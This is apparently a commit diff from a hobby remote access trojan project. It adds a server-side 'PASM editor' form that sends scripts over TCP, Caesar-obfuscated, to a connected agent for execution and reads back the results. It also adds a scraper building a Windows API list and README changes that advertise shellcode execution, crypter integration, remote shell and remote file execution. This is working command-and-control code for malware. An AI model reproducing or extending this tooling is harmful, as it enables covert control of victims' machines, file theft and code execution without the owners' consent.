this.fileToolStripMenuItem.Size = new System.Drawing.Size(37, 20);
this.fileToolStripMenuItem.Text = "File";
//
// newCTRLNToolStripMenuItem
//
this.newCTRLNToolStripMenuItem.Name = "newCTRLNToolStripMenuItem";
this.newCTRLNToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.N)));
this.newCTRLNToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.newCTRLNToolStripMenuItem.Text = "New";
this.newCTRLNToolStripMenuItem.Click += new System.EventHandler(this.newCTRLNToolStripMenuItem_Click);
//
// openToolStripMenuItem
//
this.openToolStripMenuItem.Name = "openToolStripMenuItem";
this.openToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.O)));
this.openToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.openToolStripMenuItem.Text = "Open";
this.openToolStripMenuItem.Click += new System.EventHandler(this.openToolStripMenuItem_Click);
//
// saveToolStripMenuItem
//
this.saveToolStripMenuItem.Name = "saveToolStripMenuItem";
this.saveToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.S)));
this.saveToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.saveToolStripMenuItem.Text = "Save";
this.saveToolStripMenuItem.Click += new System.EventHandler(this.saveToolStripMenuItem_Click);
//
// saveAsCTRLMajSToolStripMenuItem
//
this.saveAsCTRLMajSToolStripMenuItem.Name = "saveAsCTRLMajSToolStripMenuItem";
this.saveAsCTRLMajSToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)(((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.Shift)
| System.Windows.Forms.Keys.S)));
this.saveAsCTRLMajSToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.saveAsCTRLMajSToolStripMenuItem.Text = "Save as";
this.saveAsCTRLMajSToolStripMenuItem.Click += new System.EventHandler(this.saveAsCTRLMajSToolStripMenuItem_Click);
//
// closeCTRLToolStripMenuItem
//
this.closeCTRLToolStripMenuItem.Name = "closeCTRLToolStripMenuItem";
this.closeCTRLToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.W)));
this.closeCTRLToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.closeCTRLToolStripMenuItem.Text = "Close";
this.closeCTRLToolStripMenuItem.Click += new System.EventHandler(this.closeCTRLToolStripMenuItem_Click);
//
// codeToolStripMenuItem
//
this.codeToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.executeToolStripMenuItem});
this.codeToolStripMenuItem.Name = "codeToolStripMenuItem";
this.codeToolStripMenuItem.Size = new System.Drawing.Size(47, 20);
this.codeToolStripMenuItem.Text = "Code";
//
// executeToolStripMenuItem
//
this.executeToolStripMenuItem.Name = "executeToolStripMenuItem";
this.executeToolStripMenuItem.Size = new System.Drawing.Size(115, 22);
this.executeToolStripMenuItem.Text = "Execute";
this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click);
//
// richTextBox1
//
this.richTextBox1.AcceptsTab = true;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Top;
this.richTextBox1.EnableAutoDragDrop = true;
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.richTextBox1.Location = new System.Drawing.Point(0, 24);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.Size = new System.Drawing.Size(800, 370);
this.richTextBox1.TabIndex = 1;
this.richTextBox1.Text = "";
this.richTextBox1.TextChanged += new System.EventHandler(this.richTextBox1_TextChanged);
//
// textBox1
//
this.textBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.textBox1.Location = new System.Drawing.Point(0, 394);
this.textBox1.Multiline = true;
this.textBox1.Name = "textBox1";
this.textBox1.ReadOnly = true;
this.textBox1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
this.textBox1.Size = new System.Drawing.Size(800, 56);
this.textBox1.TabIndex = 2;
//
// splitter1
//
this.splitter1.BackColor = System.Drawing.SystemColors.ScrollBar;
this.splitter1.Dock = System.Windows.Forms.DockStyle.Top;
this.splitter1.Location = new System.Drawing.Point(0, 394);
this.splitter1.Name = "splitter1";
this.splitter1.Size = new System.Drawing.Size(800, 5);
this.splitter1.TabIndex = 3;
this.splitter1.TabStop = false;
//
// PasmEditor
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(800, 450);
this.Controls.Add(this.splitter1);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.richTextBox1);
this.Controls.Add(this.menuStrip1);
this.MainMenuStrip = this.menuStrip1;
this.Name = "PasmEditor";
this.Text = "pasm editor - New File";
this.menuStrip1.ResumeLayout(false);
this.menuStrip1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.MenuStrip menuStrip1;
private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem openToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem saveToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem saveAsCTRLMajSToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem newCTRLNToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem closeCTRLToolStripMenuItem;
private System.Windows.Forms.RichTextBox richTextBox1;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Splitter splitter1;
private System.Windows.Forms.ToolStripMenuItem codeToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem;
}
}

189
Server/PasmEditor.cs Normal file
View File

@@ -0,0 +1,189 @@
using System;
using System.IO;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net.Sockets;
using System.Threading;
using static System.Windows.Forms.VisualStyles.VisualStyleElement;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
using System.Xml;
namespace Server
{
public partial class PasmEditor : Form
{
private static string filepath = "";
private static bool is_executing = false;
public PasmEditor(bool is_from_right_click)
{
InitializeComponent();
executeToolStripMenuItem.Enabled = is_from_right_click;
richTextBox1.DragDrop += new DragEventHandler(richTextBox1_DragDrop);
}
private void newCTRLNToolStripMenuItem_Click(object sender, EventArgs e)
{
richTextBox1.Text = "";
filepath = "";
this.Text = "pasm editor - New File";
}
private void openToolStripMenuItem_Click(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "PASM source files (*.pasm)|*.pasm",
Title = "Select your PASM source code file."
};
if (openFileDialog.ShowDialog() != DialogResult.OK)
return;
string filePath = openFileDialog.FileName;
if (filePath == null) return;
richTextBox1.LoadFile(filePath, RichTextBoxStreamType.PlainText);
filepath = filePath;
this.Text = "pasm editor - " + Path.GetFileName(filePath);
}
private void saveToolStripMenuItem_Click(object sender, EventArgs e)
{
if (filepath == "")
{
saveAsCTRLMajSToolStripMenuItem_Click(sender, e);
return;
}
richTextBox1.SaveFile(filepath, RichTextBoxStreamType.PlainText);
}
private void saveAsCTRLMajSToolStripMenuItem_Click(object sender, EventArgs e)
{
SaveFileDialog saveFileDialog = new SaveFileDialog
{
Filter = "PASM source files (*.pasm)|*.pasm",
Title = "Save as"
};
if (saveFileDialog.ShowDialog() != DialogResult.OK)
return;
string filePath = saveFileDialog.FileName;
if (filePath == null) return;
richTextBox1.SaveFile(filePath, RichTextBoxStreamType.PlainText);
filepath = filePath;
}
private void closeCTRLToolStripMenuItem_Click(object sender, EventArgs e)
{
richTextBox1.Text = "";
filepath = "";
this.Text = "pasm editor - New File";
}
void richTextBox1_DragDrop(object sender, DragEventArgs e)
{
object filename = e.Data.GetData("FileDrop");
if (filename != null)
{
var list = filename as string[];
if (list != null && !string.IsNullOrWhiteSpace(list[0]))
{
richTextBox1.Clear();
richTextBox1.LoadFile(list[0], RichTextBoxStreamType.PlainText);
filepath = list[0];
this.Text = "pasm editor - " + Path.GetFileName(filepath);
}
}
e.Effect = DragDropEffects.None;
}
private void execute_script()
{
is_executing = true;
TcpClient c = Server.Menu.CONNECT_CLIENTS[Server.Menu.CLIENT_ID];
c.ReceiveTimeout = 10000;
c.Client.Blocking = true;
try
{
NetworkStream stream = c.GetStream();
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("pasm"));
stream.Write(Message, 0, Message.Length);
string fileContent = File.ReadAllText(filepath);
byte[] fileContentBytes = Encoding.UTF8.GetBytes(fileContent);
stream.Write(fileContentBytes, 0, fileContentBytes.Length);
byte[] buffer = new byte[2048];
int bytesRead;
textBox1.Text += "\r\n\r\nLaika: script sent\r\n\r\n";
while (true)
{
bytesRead = stream.Read(buffer, 0, buffer.Length);
string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
if (receivedData == "fail")
{
textBox1.Text += "Agent failed to execute the script due to an unknown error.\n";
textBox1.SelectionStart = textBox1.TextLength;
textBox1.ScrollToCaret();
break;
}
textBox1.Text += receivedData.Replace(Utils.CAESAR("Laika: end of script"), "").Replace("\n", "\r\n");
if (receivedData.Contains(Utils.CAESAR("Laika: end of script")))
{
textBox1.Text += "\r\n\r\nLaika: end of script\r\n\r\n";
textBox1.SelectionStart = textBox1.TextLength;
textBox1.ScrollToCaret();
break;
}
textBox1.SelectionStart = textBox1.TextLength;
textBox1.ScrollToCaret();
this.Update();
}
}
catch
{
MessageBox.Show("Client timed out.");
}
is_executing = false;
executeToolStripMenuItem.Enabled = true;
}
private void executeToolStripMenuItem_Click(object sender, EventArgs e)
{
if (is_executing)
return;
Thread t = new Thread(execute_script);
t.Start();
executeToolStripMenuItem.Enabled = false;
}
private void richTextBox1_TextChanged(object sender, EventArgs e)
{
if (!this.Text.Contains("*"))
{
this.Text += "*";
}
}
}
}

123
Server/PasmEditor.resx Normal file
View File

@@ -0,0 +1,123 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="menuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
</root>

View File

@@ -105,7 +105,6 @@ namespace Server
finally
{
ClearSocketData(c);
c.Client.Blocking = false;
if (shell != null)
{
shell.Close();
@@ -123,7 +122,6 @@ namespace Server
byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR("exit\n"));
stream.Write(message, 0, message.Length);
ClearSocketData(c);
c.Client.Blocking = false;
}
catch { }
OPENED = false;

View File

@@ -120,6 +120,16 @@ namespace Server.Properties {
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap scenario {
get {
object obj = ResourceManager.GetObject("scenario", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>

View File

@@ -118,8 +118,8 @@
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="file" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
<data name="up_arrow" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\up_arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="terminal" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
@@ -136,13 +136,16 @@
<data name="folder" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="download" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="upload" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\upload.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="up_arrow" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\up_arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
<data name="download" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="file" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="scenario" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\scenario.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
</root>

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

View File

@@ -33,8 +33,36 @@
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.Bcl.AsyncInterfaces, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\Microsoft.Bcl.AsyncInterfaces.8.0.0\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll</HintPath>
</Reference>
<Reference Include="System.Core" />
<Reference Include="System.Memory, Version=4.0.1.2, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Memory.4.5.5\lib\net461\System.Memory.dll</HintPath>
</Reference>
<Reference Include="System.Numerics" />
<Reference Include="System.Numerics.Vectors, Version=4.1.4.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll</HintPath>
</Reference>
<Reference Include="System.Runtime.CompilerServices.Unsafe, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.dll</HintPath>
</Reference>
<Reference Include="System.Text.Encodings.Web, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Text.Encodings.Web.8.0.0\lib\net462\System.Text.Encodings.Web.dll</HintPath>
</Reference>
<Reference Include="System.Text.Json, Version=8.0.0.4, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Text.Json.8.0.4\lib\net462\System.Text.Json.dll</HintPath>
</Reference>
<Reference Include="System.Threading.Tasks.Extensions, Version=4.2.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll</HintPath>
</Reference>
<Reference Include="System.ValueTuple, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll</HintPath>
</Reference>
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
@@ -64,6 +92,12 @@
<Compile Include="Menu.Designer.cs">
<DependentUpon>Menu.cs</DependentUpon>
</Compile>
<Compile Include="PasmEditor.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="PasmEditor.Designer.cs">
<DependentUpon>PasmEditor.cs</DependentUpon>
</Compile>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<EmbeddedResource Include="BuildMenu.resx">
@@ -75,6 +109,9 @@
<EmbeddedResource Include="Menu.resx">
<DependentUpon>Menu.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="PasmEditor.resx">
<DependentUpon>PasmEditor.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
@@ -85,6 +122,7 @@
<DependentUpon>Resources.resx</DependentUpon>
<DesignTime>True</DesignTime>
</Compile>
<None Include="packages.config" />
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
@@ -125,5 +163,8 @@
<ItemGroup>
<None Include="Resources\up_arrow.png" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\scenario.png" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

12
Server/packages.config Normal file
View File

@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Bcl.AsyncInterfaces" version="8.0.0" targetFramework="net48" />
<package id="System.Buffers" version="4.5.1" targetFramework="net48" />
<package id="System.Memory" version="4.5.5" targetFramework="net48" />
<package id="System.Numerics.Vectors" version="4.5.0" targetFramework="net48" />
<package id="System.Runtime.CompilerServices.Unsafe" version="6.0.0" targetFramework="net48" />
<package id="System.Text.Encodings.Web" version="8.0.0" targetFramework="net48" />
<package id="System.Text.Json" version="8.0.4" targetFramework="net48" />
<package id="System.Threading.Tasks.Extensions" version="4.5.4" targetFramework="net48" />
<package id="System.ValueTuple" version="4.5.0" targetFramework="net48" />
</packages>

53
data/get_winapis.py Normal file
View File

@@ -0,0 +1,53 @@
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse
from urllib.parse import parse_qs
import json
url = f"https://www.gladir.com/CODER/CWINDOWS/apiwinprototypes.htm"
r = requests.get(url)
if r.status_code != 200 and r.status_code != 202 :
print(f"Code != 200: {r.status_code}")
exit(0)
html = r.text
soup = BeautifulSoup(html, 'html.parser')
table = soup.find('table', {'class': 'ListCoder'})
functions_list = []
for row in table.find_all('tr')[1:]:
cells = row.find_all('td')
# Function name
function_name = cells[0].text.strip()
# Prototype
prototype = cells[1].text.strip()
# Extract arguments types
arguments = []
if '(' in prototype:
args_string = prototype.split('(')[1].split(')')[0].strip()
if args_string:
args = args_string.split(',')
for arg in args:
arg_type = ' '.join(arg.strip().split()[:-1])
arguments.append(arg_type)
# DLL name
dll_name = cells[2].text.strip()
# Add the function to the list
functions_list.append({
'function_name': function_name,
'arguments': arguments,
'dll_name': dll_name,
'full_prototype': prototype.replace("\n", "").replace("\r", "").replace("\t", "")
})
json_output = json.dumps(functions_list, ensure_ascii=False, indent=4)
with open("win_apis.json", "w") as f :
f.write(json_output)
print(json_output)

17828
data/win_apis.json Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -9,9 +9,10 @@ A very simple RAT I created for fun.<br>
* File explorer (download/upload/remove/execute)
* Shellcode execution
* Server builder supports [patate-crypter](https://github.com/ALittlePatate/patate-crypter) inetgration
* [pasm](https://github.com/ALittlePatate/patate-crypter) integration in the agent
## Characteristics
* Small (17ko) (can go lower)
* Small (26ko)
* Made in C, no CRT
* x32 bit
* Dynamic API resolving
@@ -32,11 +33,15 @@ A very simple RAT I created for fun.<br>
* Can build the client
* File explorer GUI (upload/download/remove/execute)
* Remote shell GUI
* PASM code editor
<details open>
<summary>TODO</summary>
* Dark theme
* colors in IDE
* lines number in IDE
* close warning in IDE
* Plugins support
</details>
@@ -45,3 +50,4 @@ A very simple RAT I created for fun.<br>
![Alt text](Screenshots/builder.png "builder")
![Alt text](Screenshots/shell.png "shell")
![Alt text](Screenshots/fex.png "file explorer")
![Alt text](Screenshots/pasm_editor.png "pasm editor")